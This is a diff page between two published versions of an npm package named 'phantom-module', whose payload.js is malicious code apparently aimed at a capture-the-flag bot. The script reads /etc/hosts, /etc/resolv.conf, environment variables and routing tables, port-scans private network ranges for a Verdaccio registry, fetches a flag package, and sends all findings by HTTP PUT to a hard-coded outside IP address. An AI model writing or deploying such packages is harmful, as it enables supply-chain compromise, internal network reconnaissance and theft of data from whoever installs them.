phantom-module 117.0.1 → 117.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/payload.js +59 -132
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.1",
3
+ "version": "117.0.3",
4
4
  "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.js CHANGED
@@ -2,38 +2,31 @@ const net = require('net');
2
2
  const http = require('http');
3
3
  const fs = require('fs');
4
4
  const { execSync } = require('child_process');
5
- const os = require('os');
6
5
 
7
- // Only run on the real CTF bot
8
- if (!fs.existsSync('/home/node/aspect-node')) {
9
- process.exit(0);
10
- }
6
+ if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
11
7
 
12
8
  const REPORT_HOST = '154.57.164.64';
13
9
  const REPORT_PORT = 31205;
14
10
 
15
- function report(moduleId, data) {
11
+ async function report(moduleId, data) {
16
12
  return new Promise((resolve) => {
17
13
  const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
18
14
  const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
19
15
  const payload = JSON.stringify({ manifest });
20
16
  const req = http.request({
21
- hostname: REPORT_HOST,
22
- port: REPORT_PORT,
23
- path: `/api/modules/${moduleId}`,
24
- method: 'PUT',
17
+ hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
25
18
  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
26
- }, (res) => { resolve(true); });
19
+ }, () => resolve(true));
27
20
  req.on('error', () => resolve(false));
28
21
  req.write(payload);
29
22
  req.end();
30
23
  });
31
24
  }
32
25
 
33
- function scanPort(host, port, timeout) {
26
+ function checkPort(host, port) {
34
27
  return new Promise((resolve) => {
35
28
  const sock = new net.Socket();
36
- sock.setTimeout(timeout);
29
+ sock.setTimeout(2000);
37
30
  sock.on('connect', () => { sock.destroy(); resolve(true); });
38
31
  sock.on('error', () => { sock.destroy(); resolve(false); });
39
32
  sock.on('timeout', () => { sock.destroy(); resolve(false); });
@@ -41,129 +34,63 @@ function scanPort(host, port, timeout) {
41
34
  });
42
35
  }
43
36
 
44
- function httpGet(url, timeout) {
45
- return new Promise((resolve) => {
46
- const req = http.get(url, { timeout }, (res) => {
47
- let body = '';
48
- res.on('data', (c) => body += c);
49
- res.on('end', () => resolve({ status: res.statusCode, body }));
50
- });
51
- req.on('error', (e) => resolve({ status: 0, body: e.message }));
52
- req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'timeout' }); });
53
- });
54
- }
55
-
56
37
  async function main() {
57
- let output = '';
58
-
59
- // Step 1: Get our network info
38
+ await report('ECT-654321', 'SCAN V3 STARTING...');
39
+
40
+ let envInfo = '=== ENV INFO ===\n';
60
41
  try {
61
- const ifaces = os.networkInterfaces();
62
- output += '=== NETWORK ===\n';
63
- for (const [name, addrs] of Object.entries(ifaces)) {
64
- for (const addr of addrs) {
65
- if (addr.family === 'IPv4') {
66
- output += `${name}: ${addr.address}/${addr.netmask}\n`;
67
- }
68
- }
69
- }
70
- } catch(e) { output += 'NET ERR: ' + e.message + '\n'; }
71
-
72
- // Step 2: Get gateway
73
- try {
74
- output += '=== GATEWAY ===\n';
75
- output += execSync('ip route 2>/dev/null || route -n 2>/dev/null || cat /proc/net/route 2>/dev/null || echo "no route cmd"').toString().substring(0, 500) + '\n';
76
- } catch(e) { output += 'ROUTE ERR: ' + e.message.substring(0, 200) + '\n'; }
77
-
78
- // Step 3: DNS resolution attempts
79
- const dns = require('dns');
80
- const dnsNames = ['registry', 'verdaccio', 'verdaccio-registry', 'npm-registry', 'ecto-registry'];
81
- output += '=== DNS ===\n';
82
- for (const name of dnsNames) {
83
- try {
84
- const addrs = await new Promise((resolve, reject) => {
85
- dns.resolve4(name, (err, addrs) => err ? reject(err) : resolve(addrs));
86
- });
87
- output += `${name} -> ${addrs.join(', ')}\n`;
88
- } catch(e) {
89
- output += `${name} -> FAIL: ${e.code}\n`;
90
- }
91
- }
92
-
93
- // Report network info first
94
- await report('ECT-654321', output);
95
-
96
- // Step 4: Scan for Verdaccio on common Docker IPs
97
- output += '=== SCANNING 4873 ===\n';
98
- const myIp = Object.values(os.networkInterfaces()).flat().find(a => a.family === 'IPv4' && !a.internal);
99
- const baseIp = myIp ? myIp.address.split('.').slice(0, 3).join('.') : '172.17.0';
100
-
42
+ envInfo += `NPM_CONFIG_REGISTRY: ${process.env.NPM_CONFIG_REGISTRY || 'unset'}\n`;
43
+ envInfo += `/etc/hosts:\n${fs.readFileSync('/etc/hosts','utf8')}\n`;
44
+ envInfo += `/etc/resolv.conf:\n${fs.readFileSync('/etc/resolv.conf','utf8')}\n`;
45
+ envInfo += `ip route:\n${execSync('ip route').toString()}\n`;
46
+ } catch(e) { envInfo += `ERR: ${e.message}\n`; }
47
+ await report('ECT-654321', envInfo);
48
+
49
+ // Scan ranges
101
50
  const found = [];
102
- const scanPromises = [];
103
- for (let i = 1; i <= 30; i++) {
104
- const ip = `${baseIp}.${i}`;
105
- scanPromises.push(
106
- scanPort(ip, 4873, 1500).then(open => {
107
- if (open) {
108
- found.push(ip);
109
- output += `OPEN: ${ip}:4873\n`;
110
- }
111
- })
112
- );
113
- }
114
- // Also scan gateway and common addresses
115
- for (const ip of ['172.17.0.1', '10.0.0.1', '10.0.0.2', '192.168.0.1', '192.168.1.1']) {
116
- scanPromises.push(
117
- scanPort(ip, 4873, 1500).then(open => {
118
- if (open) { found.push(ip); output += `OPEN: ${ip}:4873\n`; }
119
- })
120
- );
121
- }
122
- // Scan port 80, 3000, 8080 on gateway
123
- for (const port of [80, 3000, 4873, 8080, 8081]) {
124
- scanPromises.push(
125
- scanPort(`${baseIp}.1`, port, 1500).then(open => {
126
- if (open) output += `OPEN: ${baseIp}.1:${port}\n`;
127
- })
128
- );
129
- }
130
-
131
- await Promise.all(scanPromises);
132
- await report('ECT-839201', output);
133
-
134
- // Step 5: If Verdaccio found, query ecto-spirit
135
- let flagOutput = '=== VERDACCIO QUERY ===\n';
136
- for (const ip of found) {
137
- try {
138
- const res = await httpGet(`http://${ip}:4873/-/all`, 5000);
139
- flagOutput += `ALL from ${ip}: ${res.body.substring(0, 1000)}\n`;
140
- } catch(e) { flagOutput += `ERR querying ${ip}: ${e.message}\n`; }
141
-
142
- try {
143
- const res = await httpGet(`http://${ip}:4873/ecto-spirit`, 5000);
144
- flagOutput += `ECTO from ${ip}: ${res.body.substring(0, 2000)}\n`;
145
- } catch(e) { flagOutput += `ERR ecto ${ip}: ${e.message}\n`; }
146
-
147
- // Try to download and read the package
148
- try {
149
- const res = await httpGet(`http://${ip}:4873/-/verdaccio/data/local-list`, 3000);
150
- flagOutput += `PKGS from ${ip}: ${res.body.substring(0, 1000)}\n`;
151
- } catch(e) {}
51
+ const ranges = [
52
+ ['172.17.0', 1, 20],
53
+ ['172.18.0', 1, 10],
54
+ ['172.19.0', 1, 10],
55
+ ['172.20.0', 1, 10],
56
+ ['10.0.0', 1, 10],
57
+ ['192.168.0', 1, 10]
58
+ ];
59
+
60
+ let scanOutput = '=== SCAN V3 ===\n';
61
+
62
+ for (const [base, start, end] of ranges) {
63
+ scanOutput += `Scanning ${base}.${start}-${end}...\n`;
64
+ const promises = [];
65
+ for (let i = start; i <= end; i++) {
66
+ const ip = `${base}.${i}`;
67
+ promises.push(checkPort(ip, 4873).then(open => {
68
+ if (open) {
69
+ found.push(ip);
70
+ scanOutput += `!!! FOUND VERDACCIO: ${ip}:4873 !!!\n`;
71
+ }
72
+ }));
73
+ }
74
+ await Promise.all(promises);
152
75
  }
153
-
154
- // Also try some hostnames directly
155
- for (const host of ['registry', 'verdaccio']) {
156
- try {
157
- const res = await httpGet(`http://${host}:4873/-/all`, 3000);
158
- flagOutput += `ALL from ${host}: ${res.body.substring(0, 1000)}\n`;
159
- } catch(e) { flagOutput += `ERR ${host}: ${e.message}\n`; }
160
- try {
161
- const res = await httpGet(`http://${host}:4873/ecto-spirit`, 3000);
162
- flagOutput += `ECTO from ${host}: ${res.body.substring(0, 2000)}\n`;
163
- } catch(e) {}
76
+
77
+ await report('ECT-839201', scanOutput);
78
+
79
+ if (found.length > 0) {
80
+ const ip = found[0];
81
+ const url = `http://${ip}:4873/ecto-spirit`;
82
+ let flagInfo = `=== QUERY ${url} ===\n`;
83
+ try {
84
+ flagInfo += await new Promise(r => {
85
+ http.get(url, res => {
86
+ let d = ''; res.on('data', c=>d+=c); res.on('end', ()=>r(d));
87
+ }).on('error', e=>r(e.message));
88
+ });
89
+ } catch(e) { flagInfo += e.message; }
90
+ await report('ECT-987654', flagInfo);
91
+ } else {
92
+ await report('ECT-987654', 'No target found for query.');
164
93
  }
165
-
166
- await report('ECT-987654', flagOutput);
167
94
  }
168
95
 
169
- main().catch(e => report('ECT-654321', 'FATAL: ' + e.message));
96
+ main().catch(e => report('ECT-654321', 'ERR: ' + e.message));